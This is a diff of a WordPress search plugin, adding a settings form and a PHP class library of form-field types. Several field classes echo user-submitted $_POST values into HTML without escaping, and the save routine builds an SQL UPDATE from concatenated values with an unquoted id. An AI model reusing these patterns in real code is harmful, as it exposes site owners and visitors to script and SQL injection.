$o = new wpdreamsYesNo("exactonly_".$search['id'], "Show exact matches only?", $search['data']['exactonly']);
|
222 |
+
$params[$o->getName()] = $o->getData();
|
223 |
+
?>
|
224 |
+
</div>
|
225 |
+
<div class="item"><?php
|
226 |
+
if (!isset($search['data']['orderby'])) $search['data']['orderby']=$_search_default['orderby'];
|
227 |
+
$o = new wpdreamsSelect("orderby_".$search['id'], "Result ordering", (($search['data']['orderby']!="")?$search['data']['orderby']:$_search_default['orderby'] ));
|
228 |
+
$params[$o->getName()] = $o->getData();
|
229 |
+
$params["selected-".$o->getName()] = $o->getSelected();
|
230 |
+
?></div>
|
231 |
+
<div class="item"><?php
|
232 |
+
if (!isset($search['data']['charcount'])) $search['data']['charcount']=1;
|
233 |
+
$o = new wpdreamsTextSmall("charcount_".$search['id'], "Minimal character count to trigger search", $search['data']['charcount'], array( array("func"=>"ctype_digit", "op"=>"eq", "val"=>true) ));
|
234 |
+
$params[$o->getName()] = $o->getData();
|
235 |
+
?></div>
|
236 |
+
<div class="item"><?php
|
237 |
+
if (!isset($search['data']['maxresults'])) $search['data']['maxresults']=20;
|
238 |
+
$o = new wpdreamsTextSmall("maxresults_".$search['id'], "Max. results", $search['data']['maxresults'], array( array("func"=>"ctype_digit", "op"=>"eq", "val"=>true) ));
|
239 |
+
$params[$o->getName()] = $o->getData();
|
240 |
+
?></div>
|
241 |
+
<div class="item"><?php
|
242 |
+
if (!isset($search['data']['itemscount'])) $search['data']['itemscount']=4;
|
243 |
+
$o = new wpdreamsTextSmall("itemscount_".$search['id'], "Results box viewport (in item numbers)", $search['data']['itemscount'], array( array("func"=>"ctype_digit", "op"=>"eq", "val"=>true) ));
|
244 |
+
$params[$o->getName()] = $o->getData();
|
245 |
+
?></div>
|
246 |
+
</fieldset>
|
247 |
+
<fieldset>
|
248 |
+
<legend>Frontend Search Settings options</legend>
|
249 |
+
<div class="item" style="text-align:center;">
|
250 |
+
The default values of the checkboxes on the frontend are the values set above.
|
251 |
+
</div>
|
252 |
+
<div class="item">
|
253 |
+
<?php
|
254 |
+
if (!isset($search['data']['showexactmatches'])) $search['data']['showexactmatches']=1;
|
255 |
+
$o = new wpdreamsYesNo("showexactmatches_".$search['id'], "Show exact matches selector?", $search['data']['showexactmatches']);
|
256 |
+
$params[$o->getName()] = $o->getData();
|
257 |
+
if ($search['data']['exactmatchestext']=="") $search['data']['exactmatchestext'] = $_search_default['exactmatchestext'];
|
258 |
+
$o = new wpdreamsText("exactmatchestext_".$search['id'], "Text", $search['data']['exactmatchestext']);
|
259 |
+
$params[$o->getName()] = $o->getData();
|
260 |
+
?></div>
|
261 |
+
<div class="item">
|
262 |
+
<?php
|
263 |
+
$o = new wpdreamsYesNo("showsearchinposts_".$search['id'], "Show search in posts selector?", $search['data']['showsearchinposts']);
|
264 |
+
$params[$o->getName()] = $o->getData();
|
265 |
+
if ($search['data']['searchinpoststext']=="") $search['data']['searchinpoststext'] = $_search_default['searchinpoststext'];
|
266 |
+
$o = new wpdreamsText("searchinpoststext_".$search['id'], "Text", $search['data']['searchinpoststext']);
|
267 |
+
$params[$o->getName()] = $o->getData();
|
268 |
+
?></div>
|
269 |
+
<div class="item">
|
270 |
+
<?php
|
271 |
+
$o = new wpdreamsYesNo("showsearchinpages_".$search['id'], "Show search in pages selector?", $search['data']['showsearchinpages']);
|
272 |
+
$params[$o->getName()] = $o->getData();
|
273 |
+
if ($search['data']['searchinpagestext']=="") $search['data']['searchinpagestext'] = $_search_default['searchinpagestext'];
|
274 |
+
$o = new wpdreamsText("searchinpagestext_".$search['id'], "Text", $search['data']['searchinpagestext']);
|
275 |
+
$params[$o->getName()] = $o->getData();
|
276 |
+
?></div>
|
277 |
+
</fieldset>
|
278 |
+
<fieldset>
|
279 |
+
<legend>Layout Options</legend>
|
280 |
+
<div class="item">
|
281 |
+
<?php
|
282 |
+
if (!isset($search['data']['resultareaclickable'])) $search['data']['resultareaclickable']=1;
|
283 |
+
$o = new wpdreamsYesNo("resultareaclickable_".$search['id'], "Make the whole result area clickable?", $search['data']['resultareaclickable']);
|
284 |
+
$params[$o->getName()] = $o->getData();
|
285 |
+
?>
|
286 |
+
</div>
|
287 |
+
<div class="item">
|
288 |
+
<?php
|
289 |
+
if (!isset($search['data']['showauthor'])) $search['data']['showauthor']=1;
|
290 |
+
$o = new wpdreamsYesNo("showauthor_".$search['id'], "Show author in results?", $search['data']['showauthor']);
|
291 |
+
$params[$o->getName()] = $o->getData();
|
292 |
+
?>
|
293 |
+
</div>
|
294 |
+
<div class="item">
|
295 |
+
<?php
|
296 |
+
if (!isset($search['data']['showdate'])) $search['data']['showdate']=1;
|
297 |
+
$o = new wpdreamsYesNo("showdate_".$search['id'], "Show date in results?", $search['data']['showdate']);
|
298 |
+
$params[$o->getName()] = $o->getData();
|
299 |
+
?>
|
300 |
+
</div>
|
301 |
+
</fieldset>
|
302 |
+
<div class="item">
|
303 |
+
<input name="submit_<?php echo $search['id']; ?>" type="submit" value="Save this search!" />
|
304 |
+
</div>
|
305 |
+
</form>
|
306 |
+
</div>
|
307 |
+
<?php
|
308 |
+
if (isset($_POST['submit_'.$search['id']]) && (wpdreamsType::getErrorNum())==0) {
|
309 |
+
/* update data */
|
310 |
+
foreach ($params as $k=>$v) {
|
311 |
+
$_tmp = explode("_".$search['id'], $k);
|
312 |
+
$params[$_tmp[0]] = $v;
|
313 |
+
unset($params[$k]);
|
314 |
+
}
|
315 |
+
$data = mysql_real_escape_string(json_encode($params));
|
316 |
+
|
317 |
+
$wpdb->query("
|
318 |
+
UPDATE ".$wpdb->prefix."ajaxsearchlite
|
319 |
+
SET data = '".$data."'
|
320 |
+
WHERE id = ".$search['id']."
|
321 |
+
");
|
322 |
+
echo "<div class='successMsg'>Search settings saved!</div>";
|
323 |
+
}
|
324 |
+
}
|
325 |
+
|
326 |
+
?>
|
settings/types.class.php
ADDED
@@ -0,0 +1,1402 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
if (!class_exists("wpdreamsType")) {
|
3 |
+
class wpdreamsType {
|
4 |
+
protected static $_instancenumber = 0;
|
5 |
+
protected static $_errors = 0;
|
6 |
+
protected static $_globalerrormsg = "Only integer values are accepted!";
|
7 |
+
function __construct($name, $label, $data, $constraints = null, $errormsg = "") {
|
8 |
+
$this->name = $name;
|
9 |
+
$this->label = $label;
|
10 |
+
$this->constraints = $constraints;
|
11 |
+
$this->errormsg = $errormsg;
|
12 |
+
$this->data = $data;
|
13 |
+
$this->isError = false;
|
14 |
+
self::$_instancenumber++;
|
15 |
+
$this->getType();
|
16 |
+
}
|
17 |
+
function getData() {
|
18 |
+
return $this->data;
|
19 |
+
}
|
20 |
+
final function getName() {
|
21 |
+
return $this->name;
|
22 |
+
}
|
23 |
+
final function getError() {
|
24 |
+
return $this->isError;
|
25 |
+
}
|
26 |
+
final function getErrorMsg() {
|
27 |
+
return $this->errormsg;
|
28 |
+
}
|
29 |
+
final function setError($error, $errormsg = "") {
|
30 |
+
if ($errormsg != "")
|
31 |
+
$this->errormsg = $errormsg;
|
32 |
+
if ($error) {
|
33 |
+
self::$_errors++;
|
34 |
+
$this->isError = true;
|
35 |
+
}
|
36 |
+
}
|
37 |
+
protected final function checkData() {
|
38 |
+
$this->newData = $_POST[$this->name];
|
39 |
+
if (is_array($this->constraints)) {
|
40 |
+
foreach ($this->constraints as $key => $val) {
|
41 |
+
if ($this->constraints[$key]['op'] == "eq") {
|
42 |
+
if ($val['func']($this->newData) == $this->constraints[$key]['val']) {
|
43 |
+
;
|
44 |
+
} else {
|
45 |
+
$this->setError(true);
|
46 |
+
return false;
|
47 |
+
}
|
48 |
+
} else if ($this->constraints[$key]['op'] == "ge") {
|
49 |
+
if ($val['func']($this->newData) >= $this->constraints[$key]['val']) {
|
50 |
+
;
|
51 |
+
} else {
|
52 |
+
$this->setError(true);
|
53 |
+
return false;
|
54 |
+
}
|
55 |
+
} else {
|
56 |
+
if ($val['func']($this->newData) < $this->constraints[$key]['val']) {
|
57 |
+
;
|
58 |
+
} else {
|
59 |
+
$this->setError(true);
|
60 |
+
return false;
|
61 |
+
}
|
62 |
+
}
|
63 |
+
}
|
64 |
+
}
|
65 |
+
$this->data = $this->newData;
|
66 |
+
return true;
|
67 |
+
}
|
68 |
+
protected function getType() {
|
69 |
+
if (isset($_POST[$this->name])) {
|
70 |
+
if (!$this->checkData() || $this->getError()) {
|
71 |
+
/*errormessage*/
|
72 |
+
echo "<div class='errorMsg'>" . (($this->errormsg != "") ? $this->errormsg : self::$_globalerrormsg) . "</div>";
|
73 |
+
} else {
|
74 |
+
$this->data = $_POST[$this->name];
|
75 |
+
}
|
76 |
+
}
|
77 |
+
}
|
78 |
+
static function getErrorNum() {
|
79 |
+
return self::$_errors;
|
80 |
+
}
|
81 |
+
}
|
82 |
+
}
|
83 |
+
|
84 |
+
if (!class_exists("wpdreamsHidden")) {
|
85 |
+
class wpdreamsHidden extends wpdreamsType {
|
86 |
+
function getType() {
|
87 |
+
echo "<input type='hidden' id='wpdreamshidden_" . self::$_instancenumber . "' name='" . $this->name . "' value='" . $this->data . "' />";
|
88 |
+
}
|
89 |
+
}
|
90 |
+
}
|
91 |
+
|
92 |
+
if (!class_exists("wpdreamsInfo")) {
|
93 |
+
class wpdreamsInfo extends wpdreamsType {
|
94 |
+
function __construct($data) {
|
95 |
+
$this->data = $data;
|
96 |
+
$this->getType();
|
97 |
+
}
|
98 |
+
function getType() {
|
99 |
+
echo "<img class='infoimage' src='" . plugins_url('/types/icons/info.png', __FILE__) . "' title='" . $this->data . "' />";
|
100 |
+
}
|
101 |
+
}
|
102 |
+
}
|
103 |
+
|
104 |
+
if (!class_exists("wpdreamsText")) {
|
105 |
+
class wpdreamsText extends wpdreamsType {
|
106 |
+
function getType() {
|
107 |
+
parent::getType();
|
108 |
+
echo "<div class='wpdreamsText'>";
|
109 |
+
if ($this->label != "")
|
110 |
+
echo "<label for='wpdreamstext_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
111 |
+
echo "<input type='text' id='wpdreamstext_" . self::$_instancenumber . "' name='" . $this->name . "' value='" . $this->data . "' />";
|
112 |
+
echo "
|
113 |
+
<div class='triggerer'></div>
|
114 |
+
</div>";
|
115 |
+
}
|
116 |
+
}
|
117 |
+
}
|
118 |
+
|
119 |
+
if (!class_exists("wpdreamsTextSmall")) {
|
120 |
+
class wpdreamsTextSmall extends wpdreamsType {
|
121 |
+
function getType() {
|
122 |
+
parent::getType();
|
123 |
+
echo "<div class='wpdreamsTextSmall'>";
|
124 |
+
if ($this->label != "")
|
125 |
+
echo "<label for='wpdreamstextsmall_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
126 |
+
echo "<input class='small' type='text' id='wpdreamstextsmall_" . self::$_instancenumber . "' name='" . $this->name . "' value='" . $this->data . "' />";
|
127 |
+
echo "
|
128 |
+
<div class='triggerer'></div>
|
129 |
+
</div>";
|
130 |
+
}
|
131 |
+
}
|
132 |
+
}
|
133 |
+
|
134 |
+
if (!class_exists("wpdreamsTextarea")) {
|
135 |
+
class wpdreamsTextarea extends wpdreamsType {
|
136 |
+
function getType() {
|
137 |
+
parent::getType();
|
138 |
+
echo "<label style='vertical-align: top;' for='wpdreamstextarea_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
139 |
+
echo "<textarea id='wpdreamstextarea_" . self::$_instancenumber . "' name='" . $this->name . "'>" . stripcslashes($this->data) . "</textarea>";
|
140 |
+
}
|
141 |
+
}
|
142 |
+
}
|
143 |
+
|
144 |
+
if (!class_exists("wpdreamsUpload")) {
|
145 |
+
class wpdreamsUpload extends wpdreamsType {
|
146 |
+
function getType() {
|
147 |
+
parent::getType();
|
148 |
+
echo "<div>";
|
149 |
+
if ($this->data != "") {
|
150 |
+
echo "<img class='preview' rel='#overlay_" . self::$_instancenumber . "' src=" . $this->data . " />";
|
151 |
+
} else {
|
152 |
+
echo "<img class='preview' style='display:none;' rel='#overlay_" . self::$_instancenumber . "' />";
|
153 |
+
}
|
154 |
+
echo "<label for='wpdreamsUpload_" . self::$_instancenumber . "'>" . $this->label . "</label>";
|
155 |
+
echo "<input type='text' class='wpdreamsUpload' id='wpdreamsUpload_" . self::$_instancenumber . "' name='" . $this->name . "' value='" . $this->data . "' />";
|
156 |
+
echo "<input class='wpdreamsUpload_button'type='button' value='Upload Image' />";
|
157 |
+
echo "<br />Enter an URL or upload an image!";
|
158 |
+
echo "<div class='overlay' id='overlay_" . self::$_instancenumber . "'><img src=" . $this->data . " /></div>";
|
159 |
+
echo "</div>";
|
160 |
+
}
|
161 |
+
}
|
162 |
+
}
|
163 |
+
|
164 |
+
if (!class_exists("wpdreamsLabelPosition")) {
|
165 |
+
class wpdreamsLabelPosition extends wpdreamsType {
|
166 |
+
function __construct($name, $label, $width, $height, $data) {
|
167 |
+
$this->constraints = null;
|
168 |
+
$this->name = $name;
|
169 |
+
$this->label = $label;
|
170 |
+
$this->data = $data;
|
171 |
+
$this->width = $width;
|
172 |
+
$this->height = $height;
|
173 |
+
$this->ratio = 400 / $this->width;
|
174 |
+
$this->cheight = $this->ratio * $this->height;
|
175 |
+
self::$_instancenumber++;
|
176 |
+
$this->direction = "";
|
177 |
+
$this->duration = "";
|
178 |
+
$this->getType();
|
179 |
+
}
|
180 |
+
function getType() {
|
181 |
+
parent::getType();
|
182 |
+
$this->processData();
|
183 |
+
$inst = self::$_instancenumber;
|
184 |
+
echo "
|
185 |
+
<div class='labeldrag' id='labeldrag_" . $inst . "' style='height:" . ($this->cheight + 90) . "px;'>
|
186 |
+
<div class='inner' style='overflow:auto;width:400px;height:" . $this->cheight . "px;'>
|
187 |
+
<script>
|
188 |
+
jQuery(document).ready(function() {
|
189 |
+
var drag = jQuery('#" . $this->name . "_" . $inst . "').draggable({ containment: 'parent', refreshPositions: true, appendTo: 'body' });
|
190 |
+
jQuery('#" . $this->name . "_" . $inst . "').bind( 'dragstop', function(event, ui) {
|
191 |
+
var pos = drag.position();
|
192 |
+
var ratio = " . $this->ratio . ";
|
193 |
+
var hidden = jQuery('#labelposition_hidden_" . $inst . "');
|
194 |
+
var duration = jQuery('input[name=\"induration_" . $this->name . "\"]')[0];
|
195 |
+
var direction= jQuery('input[name=\"indirection_" . $this->name . "\"]').prev();
|
196 |
+
jQuery(hidden).val('duration:'+jQuery(duration).val()+';direction:'+jQuery(direction).val()+';position:'+((pos.top+5)/ratio)+'||'+((pos.left+5)/ratio)+';');
|
197 |
+
});
|
198 |
+
jQuery('#labeldrag_" . $inst . " input').keyup(function(){
|
199 |
+
jQuery('#" . $this->name . "_" . $inst . "').trigger('dragstop');
|
200 |
+
});
|
201 |
+
jQuery('#labeldrag_" . $inst . " select').change(function(){
|
202 |
+
jQuery('#" . $this->name . "_" . $inst . "').trigger('dragstop');
|
203 |
+
});
|
204 |
+
});
|
205 |
+
</script>
|
206 |
+
<div class='dragme' style='top:" . (($this->top * $this->ratio) - 5) . "px;left:" . (($this->left * $this->ratio) - 5) . "px;' id='" . $this->name . "_" . $inst . "'>
|
207 |
+
</div>
|
208 |
+
</div>
|
209 |
+
";
|
210 |
+
echo "<div style='margin-top:" . ($this->cheight + 10) . "px;'>";
|
211 |
+
new wpdreamsSelect("indirection_" . $this->name, "Animation direction", $this->_direction);
|
212 |
+
new wpdreamsText("induration_" . $this->name, "Animation duration (ms)", $this->duration);
|
213 |
+
echo "</div>";
|
214 |
+
echo "
|
215 |
+
</div>
|
216 |
+
<div style='clear:both'></div>
|
217 |
+
<input type='hidden' id='labelposition_hidden_" . $inst . "' name='" . $this->name . "' value='" . $this->data . "' />
|
218 |
+
";
|
219 |
+
echo "
|
220 |
+
|
221 |
+
";
|
222 |
+
}
|
223 |
+
function processData() {
|
224 |
+
// string: 'duration:123;direction:bottom-left;position:123||321;'
|
225 |
+
$this->data = str_replace("\n", "", $this->data);
|
226 |
+
preg_match("/duration:(.*?);/", $this->data, $matches);
|
227 |
+
$this->duration = $matches[1];
|
228 |
+
if ($this->duration == "")
|
229 |
+
$this->duration = 500;
|
230 |
+
preg_match("/direction:(.*?);/", $this->data, $matches);
|
231 |
+
$this->direction = $matches[1];
|
232 |
+
if ($this->direction == "")
|
233 |
+
$this->direction = "top-left";
|
234 |
+
$this->_direction = "
|
235 |
+
Top|top;
|
236 |
+
Bottom|bottom;
|
237 |
+
Left|left;
|
238 |
+
Right|right;
|
239 |
+
Bottom-Left|bottom-left;
|
240 |
+
Bottom-Right|bottom-right;
|
241 |
+
Top-Left|top-left;
|
242 |
+
Top-Right|top-right;
|
243 |
+
Random|random||
|
244 |
+
" . $this->direction;
|
245 |
+
preg_match("/position:(.*?);/", $this->data, $matches);
|
246 |
+
$this->position = $matches[1];
|
247 |
+
$_temp = explode("||", $this->position);
|
248 |
+
$this->top = $_temp[0];
|
249 |
+
$this->left = $_temp[1];
|
250 |
+
}
|
251 |
+
}
|
252 |
+
}
|
253 |
+
|
254 |
+
if (!class_exists("wpdreamsImageParser")) {
|
255 |
+
class wpdreamsImageParser extends wpdreamsType {
|
256 |
+
function __construct($name, $label, $uid, $callback) {
|
257 |
+
$this->name = $name;
|
258 |
+
$this->uid = $uid;
|
259 |
+
$this->label = $label;
|
260 |
+
$this->callback = $callback;
|
261 |
+
$this->isError = false;
|
262 |
+
self::$_instancenumber++;
|
263 |
+
$this->getType();
|
264 |
+
}
|
265 |
+
function getType() {
|
266 |
+
echo "<form name='" . $this->name . "' class='wpdreams-ajaxinput' style='height:40px;margin-left: -535px;'>";
|
267 |
+
//echo "<label for='wpdreamsAjaxInput_".self::$_instancenumber."'>".$this->label."</label>";
|
268 |
+
echo "<input type='hidden' name='callback' value='" . $this->callback . "' />";
|
269 |
+
echo "<input type='hidden' name='uid' value='" . $this->uid . "' />";
|
270 |
+
echo "<input type='text' id='wpdreamsAjaxInput_" . self::$_instancenumber . "' name='url' value='Enter the feed url here...' />";
|
271 |
+
echo "
|
272 |
+
<select style='width: 70px;' name='itemsnum'>
|
273 |
+
<option value='1'>1</option>
|
274 |
+
<option value='2'>2</option>
|
275 |
+
<option value='3'>3</option>
|
276 |
+
<option value='4'>4</option>
|
277 |
+
<option value='5'>5</option>
|
278 |
+
<option value='6'>6</option>
|
279 |
+
<option value='7'>7</option>
|
280 |
+
<option value='8'>8</option>
|
281 |
+
<option value='9'>9</option>
|
282 |
+
<option value='10'>10</option>
|
283 |
+
</select>";
|
284 |
+
echo "<select style='width: 130px;' name='itemsnum'>";
|
285 |
+
echo "
|
286 |
+
<option value='flickr'>Source</option>
|
287 |
+
<option value='flickr'>Flickr.com</option>
|
288 |
+
